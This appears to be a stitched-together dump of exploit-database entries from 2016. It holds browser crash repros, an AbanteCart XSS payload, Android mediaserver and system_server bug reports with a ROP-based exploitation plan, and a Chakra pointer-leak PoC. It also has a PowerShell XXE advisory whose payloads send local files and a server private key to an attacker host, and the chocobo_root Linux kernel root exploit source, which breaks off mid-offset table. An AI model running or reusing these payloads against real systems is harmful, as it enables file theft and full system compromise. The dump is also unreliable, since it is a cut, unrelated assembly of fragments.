29 April 2016: This vulnerability was first found through fuzzing.
10 May 2016: This issue was published on Twitter and reported to Microsoft.
13 May 2016: This vulnerability was submitted to ZDI.
18 May 2016: This vulnerability was declined by ZDI.
18 May 2016: This vulnerability was reported to MSRC and I informed Edge developers directly on the seriousness of the bug.
18 May 2016: The issue was hidden in public bug tracker.
14 June 2016: Microsoft addresses this vulnerability in MS16-068.
December 2016: Details of this vulnerability are released.
            
<!--
Source: http://blog.skylined.nl/20161202001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->

<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    set­Timeout(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>

<!--
Repro.xml:

<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">

Description

This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug­Id. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.

Time-line

June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
-->
            
Source: http://blog.skylined.nl/20161201001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Edge. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro:

/<style>:first-letter{word-spacing:9

Variation:

x<style>:first-letter{background-position:inherit

Description

At the time this issue was first discovered, Mem­GC was just introduced, and I had not yet fully appreciated what an impact it would have on mitigating use-after-free bugs. Despite Mem­GC being enabled in Microsoft Edge by default, this issue appeared to me to have been a use-after-free vulnerability. However, both Microsoft and ZDI (whom I sold the vulnerability to) describes it as a memory corruption vulnerability, so it's probably more complex than I assumed.

At the time, I did not consider this vulnerability to be of great interest, as there was no immediately obvious way of controlling the vulnerability in order to exploit it. So, I did not do any further investigation into the root cause and, if this was indeed a use-after-free, how come Mem­GC did not mitigate it? In hindsight, it would have been a good idea to investigate the root cause, as any use-after-free that is not mitigated by Mem­GC might provide hints on how to find more vulnerabilities that bypass it.

Time-line

August 2015: This vulnerability was found through fuzzing.
August 2015: This vulnerability was submitted to ZDI.
December 2015: Microsoft addresses this vulnerability in MS15-125.
December 2016: Details of this vulnerability are released.
            
# Exploit Title: AbanteCart 1.2.7 Stored XSS
# Date: 06-12-2016
# Software Link: http://www.abantecart.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=932

The code in IOMXNodeInstance.cpp that handles enableNativeBuffers uses port_index without validation, leading to writing the dword value 0 or 1 at an attacker controlled offset from the IOMXNodeInstance structure.

The vulnerable code is here (every write to mSecureBufferType):

status_t OMXNodeInstance::enableNativeBuffers(
        OMX_U32 portIndex, OMX_BOOL graphic, OMX_BOOL enable) {
    Mutex::Autolock autoLock(mLock);
    CLOG_CONFIG(enableNativeBuffers, "%s:%u%s, %d", portString(portIndex), portIndex,
                graphic ? ", graphic" : "", enable);
    OMX_STRING name = const_cast<OMX_STRING>(
            graphic ? "OMX.google.android.index.enableAndroidNativeBuffers"
                    : "OMX.google.android.index.allocateNativeHandle");

    OMX_INDEXTYPE index;
    OMX_ERRORTYPE err = OMX_GetExtensionIndex(mHandle, name, &index);

    if (err == OMX_ErrorNone) {
        EnableAndroidNativeBuffersParams params;
        InitOMXParams(&params);
        params.nPortIndex = portIndex;
        params.enable = enable;

        err = OMX_SetParameter(mHandle, index, &params);
        CLOG_IF_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d", name, index,
                      portString(portIndex), portIndex, enable);
        if (!graphic) {
            if (err == OMX_ErrorNone) {
                mSecureBufferType[portIndex] =
                    enable ? kSecureBufferTypeNativeHandle : kSecureBufferTypeOpaque;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
        }
    } else {
        CLOG_ERROR_IF(enable, getExtensionIndex, err, "%s", name);
        if (!graphic) {
            // Extension not supported, check for manual override with system property
            // This is a temporary workaround until partners support the OMX extension
            char value[PROPERTY_VALUE_MAX];
            if (property_get("media.mediadrmservice.enable", value, NULL)
                && (!strcmp("1", value) || !strcasecmp("true", value))) {
                CLOG_CONFIG(enableNativeBuffers, "system property override: using native-handles");
                mSecureBufferType[portIndex] = kSecureBufferTypeNativeHandle;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
            err = OMX_ErrorNone;
        }
    }

    return StatusFromOMXError(err);
}

This code is reached from the binder interface android.hardware.IOMX in the mediaserver process; via the following code in IOMX.cpp which reads the port_index directly from the incoming parcel without any validation.

       case ENABLE_NATIVE_BUFFERS:
        {
            CHECK_OMX_INTERFACE(IOMX, data, reply);

            node_id node = (node_id)data.readInt32();
            OMX_U32 port_index = data.readInt32();
            OMX_BOOL graphic = (OMX_BOOL)data.readInt32();
            OMX_BOOL enable = (OMX_BOOL)data.readInt32();

            status_t err = enableNativeBuffers(node, port_index, graphic, enable);
            reply->writeInt32(err);

            return NO_ERROR;
        }

Running the attached proof-of-concept on a Nexus 5x yields the following output:

--- binder OMX index-out-of-bounds ---
[0] opening /dev/binder
[0] looking up media.player
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0c . 00 . 00 . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 2e . 00 .
0080: 70 p 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000000000000001  cookie 0000000000000000
[0] got handle 00000001
[0] creating an OMX
0000: 00 . 01 . 00 . 00 . 21 ! 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 .
0032: 61 a 00 . 2e . 00 . 49 I 00 . 4d M 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 .
0048: 50 P 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 53 S 00 . 65 e 00 .
0064: 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1013  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000000000000002  cookie 0000000000000000
[0] got handle 00000002
[0] creating node
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 4f O 4d M 58 X 2e . 67 g 6f o 6f o 67 g 6c l 65 e 2e . 67 g
0064: 73 s 6d m 2e . 64 d 65 e 63 c 6f o 64 d 65 e 72 r 00 . 00 . 85 . 2a * 62 b 73 s
0080: 7f . 01 . 00 . 00 . 41 A 41 A 41 A 41 A 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0096: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_INCREFS:
  0x7fe5862df8, 0x7fe5862e00
BR_ACQUIRE:
  0x7fe5862e0c, 0x7fe5862e14
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1013  data 8  offs 0
0000: 00 . 00 . 00 . 00 . 03 . 00 . 1e . 1d .
[0] got node 1d1e0003
[0] triggering bug
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 03 . 00 . 1e . 1d . ba . 43 C 46 F 60 ` 00 . 00 . 00 . 00 .
0064: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_DEAD_REPLY:

And a corresponding crash in the mediaserver process:

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/bullhead/bullhead:7.0/NRD91E/3234993:userdebug/dev-keys'
Revision: 'rev_1.0'
ABI: 'arm'
pid: 7454, tid: 7457, name: Binder:7454_1  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x6a9e0014
    r0 6a9dffa8  r1 ea8e757c  r2 ea43aa1a  r3 0000000f
    r4 e984f0c0  r5 8000101a  r6 00000000  r7 ea43a981
    r8 604643ba  r9 00000000  sl ea451f61  fp 00000000
    ip ea012658  sp e81d5660  lr e9faa527  pc ea42d834  cpsr 60030030

backtrace:
    #00 pc 0001c834  /system/lib/libstagefright_omx.so (_ZN7android15OMXNodeInstance19enableNativeBuffersEj8OMX_BOOLS1_+131)
    #01 pc 0009b8fb  /system/lib/libmedia.so (_ZN7android5BnOMX10onTransactEjRKNS_6ParcelEPS1_j+3626)
    #02 pc 000359c3  /system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+70)
    #03 pc 0003d1bb  /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+702)
    #04 pc 0003ce07  /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+114)
    #05 pc 0003d31b  /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+46)
    #06 pc 0004f765  /system/lib/libbinder.so
    #07 pc 0000e349  /system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+140)
    #08 pc 00047003  /system/lib/libc.so (_ZL15__pthread_startPv+22)
    #09 pc 00019e1d  /system/lib/libc.so (__start_thread+6)

Fixed in the November security bulletin at https://source.android.com/security/bulletin/2016-11-01.html


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40876.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=952

There is an info leak in JSON.parse. If this function is called with a reviver, and the reviver modifies the output object to contain a native array, the Walk function assumes that this array is a Var array, and writes pointers to it. These pointers can then be read out of the array by script.

A minimal PoC is as follows:

var once = false;
var a = 1;

function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);

A full PoC is attached. When loaded in a browser, this PoC will delay pointers in an alert dialog.
-->

<html>
<body>
<script>

var once = false;
var a = 1;


function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	//alert("f " + this);
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);
var n = new Number(a[0]);
n = n >> 1;
var s = n.toString(16);
n = new Number(a[1]);
n = n >> 1;
s = s + n.toString(16);
n.length = 100;
n = new Number(a[2]);
n = n >> 1;
s = s + " " + n.toString(16);
n = new Number(a[3]);
n = n >> 1;
s = s + n.toString(16);
alert(s);
</script>
</body>
</html>
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=928

Bitmap objects can be passed between processes by flattening them to a Parcel in one process and un-flattening them in another. In order to conserve memory, there exists a code path which allows Bitmaps to be shared between processes by providing an ashmem-mapped file descriptor containing the Bitmap's raw pixel data. 

The android.graphics.Bitmap class illegally assumes that the size of the ashmem region provided by the user matches the actual underlying size of the Bitmap.

When un-flattening a Bitmap from a Parcel, the class first calculates the assumed size of the Bitmap from the user-provided dimensions. Then, it calls Parcel::readBlob in order to map the given ashmem file descriptor to the process's VAS. This mapping is done using the size calculated from the Bitmap's dimensions (and not the size of the underlying ashmem descriptor).

Later, the Bitmap constructor internally stores the ashmem file descriptor and mapped memory address, along with the size of the mapping. However, instead of using the same calculated size which was used when mapping the shared memory region, it accidentally queries the ashmem region for its real size, like so:

 mPixelStorage.ashmem.size = ashmem_get_size_region(fd);

This size can be completely controlled by an attacker (simply by calling ASHMEM_SET_SIZE), and may be arbitrary large. 

Later, when the Bitmap is GC-ed, the destructor triggers a call to Bitmap::doFreePixels which unmaps the Bitmap's data, by calling:

 munmap(mPixelStorage.ashmem.address, mPixelStorage.ashmem.size);

This means that an attacker can cause the size of the unmapped region to be arbitrarily large, thus unmapping crucial regions in the remote process's VAS.

One example of how this can be exploited is by unmapping the remote process's heap (which is directly after the mmap-ed ranges on the device I was working on). Then, the attacker can resend a large Bitmap which will be mapped over the (previously unmapped) heap, thus allowing the attacker to effectively replace the remote process's heap with controlled data.

I've attached a short PoC which crashes system_server by repeatedly unmaps large memory regions.

Suggested Fix:

Store the calculated size in mPixelStorage.ashmem.size instead of calling ashmem_get_size_region.



Here's a brief run-down of the exploit:

1. The exploit begins by calling AudioService.unloadSoundEffects in order to close the SoundPool instance in system_server. This also closes any auxiliary threads (SoundPool, SoundPoolThread, etc.) that are associated with this pool.

2. Now, we start "massaging" system_server's VAS. This is done by creating multiple "Notification" objects which contain Bitmaps that are of exactly the same size at a thread's stack, when created by the ART runtime. As the bitmaps are allocated by using "mmap", they will simply inhabit the highest memory address between mm->mmap_base and TASK_SIZE which contains a sufficiently large contiguous hole. Causing many allocations of the aforementioned size will ensure that any "holes" of this size in higher addresses are filled, and the remaining "mmap"-s of this size will be contiguous.

3. Now that we are certain allocations of size THREAD_SIZE are contiguous, we replace one of notifications created in the previous stage with a notification containing a small (or empty) bitmap, and immediately send multiple dummy transactions to system_server in order to force garbage collection of the freed bitmap object. This will enable us to open up a "hole" in the contiguous allocations, like so:

<--low                                                    high-->
 ----------------------------------------------------------------
| Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap   |
 ---------------------------------------------------------------- 
                            ||
                            \/
<--low                                                    high-->
 ----------------------------------------------------------------
| Bitmap | Bitmap ||||hole|||| Bitmap | Bitmap | Bitmap | Bitmap |
 ----------------------------------------------------------------

4. Now that there's a THREAD_SIZE-sized hole opened up, we can call AudioSystem.loadSoundEffects() in order to re-create the SoundPool object within system_server. This will allocate a new "SoundPoolThread" thread in system_server, which (after brief initialization) enters a polling loop on a condition variable (or rather, a futex), waiting for messages to be enqueued. However, this thread's stack will be directly mmap-ed in our previously created hole, like so:
 
<--low                                                                high-->
 ---------------------------------------------------------------------------
| Bitmap | Bitmap |SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap |
 ---------------------------------------------------------------------------

6. Now, similarly to step 3., we can free the chunk directly before the previously unmapped chunk, creating the  following state:

<--low                                                                  high-->
 -----------------------------------------------------------------------------
| Bitmap ||||hole||||SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap |
 -----------------------------------------------------------------------------

6. Finally, we send our "poisoned" bitmap object, which should get allocated directly in front of the SoundPoolThread's stack. Then, we force garbage collection once more, resulting in both the bitmap and the SoundPoolThread's stack being unmapped. However, since the SoundPoolThread is still waiting on a futex, this is fine. Here's what this stage looks like:

<--low                                                                    high-->
 --------------------------------------------------------------------------------
| Bitmap |Poison Bitmap|SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap |
 --------------------------------------------------------------------------------
                                   ||
                                   \/
<--low                                                                    high-->
 --------------------------------------------------------------------------------
| Bitmap ||||||||||||||||hole||||||||||||||||| Bitmap | Bitmap | Bitmap | Bitmap |
 --------------------------------------------------------------------------------

7. At this point we can enqueue another notification, this time backed by a specially crafted ashmem file, containing two separate pieces of information:
    a. A chunk of position independent ARM/ARM64 code, followed by
    b. A ROP stack
This notification will be of size THREAD_SIZE*2, and will therefore fill up the hole we just set up, resulting in the following state:

<--low                                                        high-->
 -------------------------------------------------------------------
| Bitmap | PIC code | ROP Stack | Bitmap | Bitmap | Bitmap | Bitmap |
 -------------------------------------------------------------------

8. Now, we can safely call AudioService.unloadSoundEffects() once more. This will signal the condition variable that SoundPoolThread was waiting on, but now when it returns it will be executing our own ROP stack. The ROP stack simply mmap-s the ashmem file descriptor with PROT_EXEC and jumps into it (essentially executing the PIC code we supplied).


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40874.zip
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-POWERSHELL-XML-EXTERNAL-ENTITY.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
===========
PowerShell


PowerShell (including Windows PowerShell and PowerShell Core) is a task
automation and configuration management framework
from Microsoft, consisting of a command-line shell and associated scripting
language built on the .NET Framework.
PowerShell provides full access to COM and WMI, enabling administrators to
perform administrative tasks on both local
and remote Windows systems as well as WS-Management and CIM enabling
management of remote Linux systems and network devices.



Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

PowerShell can read and process XML files, this is by design. However, its
XML parser is vulnerable to XXE attacks, if a user reads a
malicious XML file using powershells XML API. This can potentially allow
local files to be accessed and exfiltrated to an attackers server.

**MSRC response: "behavior by design for parsing".**

Issue is that this setting is default, this puts 'unknowing' users at risk
for XXE attacks and file disclosure. After running PS to process an
Evil XML file from Windows CL you may see errors like:

"Cannot convert value "System.Object[]" to type "System.Xml.XmlDocument".
Error: "Invalid character in the given encoding"

OR

"Exception calling "Load" with "1" argument(s): "Unexpected DTD
declaration."

However, the Local to Remote file access theft still works as planned...

Tested Windows 7 SP1


PS C:\> $psversiontable

Name                           Value
----                           -----
CLRVersion                     2.0.50727.5485
BuildVersion                   6.1.7601.17514
PSVersion                      2.0



Exploit POC code(s):
===================

Scenarios A/B:


A) Reads XML from Web Server:
-------------------------------

Access 'c:\Windows\msdfmap.ini' used by MS ADO Remote Service.


python -m SimpleHTTPServer 8080 (ATTACKER-SERVER)


'payload.dtd' (ATTACKER-SERVER)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://
[ATTACKER-SERVER]:8080?%file;'>">
%all;



'PWN.xml'  (ATTACKER-SERVER)

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX  [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Run from PS CL to load XML:

$vuln = New-Object System.Xml.XmlDocument
$vuln.Load("http://[ATTACKER-SERVER]/PWN.xml")


Users 'msdfmap.ini' file is accessed by attacker.


B) Read XML from remote share in LAN:
----------------------------------------

Example uses three different computers.

VICTIM-COMPUTER local machine using Powershell to read XML.
REMOTE-SHARE is third computer in LAN where 'PWN.xml' is read from.
ATTACKER-SERVER the place where files stolen from VICTIM-COMPUTER will be
sent.

Assuming user is running XAMPP, try target the servers SSL Private key.

[ATTACKER-SERVER]

python -m SimpleHTTPServer 8080


'payload.dtd' (Host on ATTACKER-SERVER)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://
[ATTACKER-SERVER]:8080?%file;'>">
%all;


'PWN.xml'   (Host on REMOTE-SHARE)

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX  [
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>



[VICTIM-COMPUTER]

Run these examples from PowerShell Command Line.

'VULN.ps1'

Get-WinEvent -FilterXml ([xml](Get-Content
\\[REMOTE-SHARE]\home\username\PWN.xml))

OR

$poc='\\[REMOTE-SHARE]\home\username\PWN.xml'
$test=(Get-Content $poc) -as [Xml]


Enjoy your private key file!



Disclosure Timeline:
===========================================================
Vendor Notification: November 14, 2016
Vendor: "behavior by design for parsing." November 23, 2016
December 5, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
/*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64

vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!


stage 1 completed
registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won

retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!

stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.

tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu

Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee

11/2016
by rebel
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <sys/syscall.h>
#include <signal.h>
#include <sched.h>
#include <sys/utsname.h>

volatile int barrier = 1;
volatile int vers_switcher_done = 0;

struct offset {
    char *kernel_version;
    unsigned long proc_dostring;
    unsigned long modprobe_path;
    unsigned long register_sysctl_table;
    unsigned long set_memory_rw;
};


struct offset *off = NULL;

//99% of these offsets haven't actually been tested :)

struct offset offsets[] = {
    {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
    {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
    {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
    {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
    {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
    {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
    {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
    {"4.2.0-17-generic #21",0,0,0,0},
    {"4.2.0-18-generic #22",0,0,0,0},
    {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
    {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
    {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
    {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
    {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
    {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
    {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
    {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
    {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
    {"4.2.0-23-generic #28",0,0,0,0},
    {"4.2.0-25-generic #30",0,0,0,0},
    {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
    {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
    {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
    {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
